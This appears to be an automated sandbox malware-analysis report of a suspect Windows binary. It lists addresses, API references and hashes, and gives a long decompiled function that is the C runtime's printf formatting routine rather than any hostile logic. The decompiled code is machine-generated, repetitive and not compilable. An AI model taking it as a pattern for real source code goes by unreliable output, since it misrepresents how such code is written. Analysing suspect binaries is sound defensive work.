0x00427b86
0x00427b88
0x00000000
0x00000000
0x00427b8a
0x00427b8a
0x00427b90
0x00427b93
0x00427b95
0x00000000
0x00000000
0x00427b97
0x00427b9d
0x00427ba0
0x00427ba0
0x00427ba8
0x00427bae
0x00427bb1
0x00427bb3
0x00427c13
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x00000000
0x00427ecc
0x00427ecc
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ffb
0x00428000
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fe0
0x00427fe5
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fba
0x00427fbf
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9e
0x00427fa3
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f71
0x00427f76
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f49
0x00427f4e
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00428017
0x00000000
0x00427ee8
0x00427ee8
0x00427ef2
0x00427ef2
0x00427efc
0x00427efc
0x00427f02
0x00427f04
0x00427f0e
0x00427f0e
0x00427f11
0x00427f14
0x00427f14
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ffb
0x00428000
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fe0
0x00427fe5
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fba
0x00427fbf
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9e
0x00427fa3
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f71
0x00427f76
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f49
0x00427f4e
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00428017
0x00000000
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x00000000
0x00000000
0x00427782
0x00427785
0x00427788
0x00000000
0x00000000
0x0042778d
0x00427790
0x00427795
0x00000000
0x00000000
0x00427777
0x00427777
0x0042777a
0x0042777d
0x00000000
0x00000000
0x0042776c
0x0042776f
0x00427772
0x00000000
0x00000000
0x0042779a
0x0042779a
0x0042779d
0x0042779d
0x004277a0
0x00000000
0x00000000
0x004277a3
0x00000000
0x00000000
0x004275fd
0x004283ce
0x004283d4
0x004283dd
0x004283e2
0x00000000
0x004283e2
0x004281c3
0x0042819a
0x0042819a
0x0042819e
0x004281ab
0x004281b1
0x004281b7
0x004281bd
0x004281bd
0x004281c0
0x00000000
0x004281c0
0x004281a0
0x004281a6
0x004281a9
0x00000000
0x00000000
0x00000000
0x004281a9
0x00428102
0x00428105
0x0042810f
0x0042811e
0x00428127
0x0042813d
0x00428143
0x00428149
0x00428150
0x00428158
0x00428158
0x0042815e
0x0042815e
0x0042816d
0x00428175
0x004280e4
0x004280ea
0x004280ed
0x004280f0
0x004280f2
0x00000000
0x00000000
0x00000000
0x004280f2
0x004280e4
0x00428024
0x00428024
0x0042802b
0x00000000
0x00000000
0x00000000
0x00428059
0x0042805f
0x0042806b
0x00000000
0x0042806b
0x00427f3b

APIs

_get_int64_arg.LIBCMTD ref: 00427F49
__aullrem.LIBCMT ref: 00428116
__aulldiv.LIBCMT ref: 00428138

Strings

9, xrefs: 00428149

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: db2cbd662e7da5931c689d01abf563af20214a74fd042e01e449af1fd5c20119
Instruction ID: 976f7c3bdbfe40f67ceecbc1571831ceabe46c38ba629b847d967d0781319f42
Opcode Fuzzy Hash: db2cbd662e7da5931c689d01abf563af20214a74fd042e01e449af1fd5c20119
Instruction Fuzzy Hash: 6E4114B1E05629CFDB64DF48ED89BAEB7B5BF84300F50859AD009A7241CB389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C53D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C53D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E004285E0(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E004285E0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E004285E0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E004285E0(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428600(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00428600(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00430A00(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E00430A80( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C6E0( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043CB14))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043CC20( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43cb4c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB34))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43cb74; // 0xc3819003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB60))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E520();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00423010(_t586))) = 0x16;
																						E00422DA0(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041AFC0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BF30(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E520();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041AFC0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00423010(_t578))) = 0x16;
																				E00422DA0(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041AFC0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043CC80(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043CCC0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043CC80(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043CCC0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041AFF0(_t672 - 0x40);
																				_t539 = E0043B720(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043CC20( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043CC80(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43cbe0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CBA4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E004285E0(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
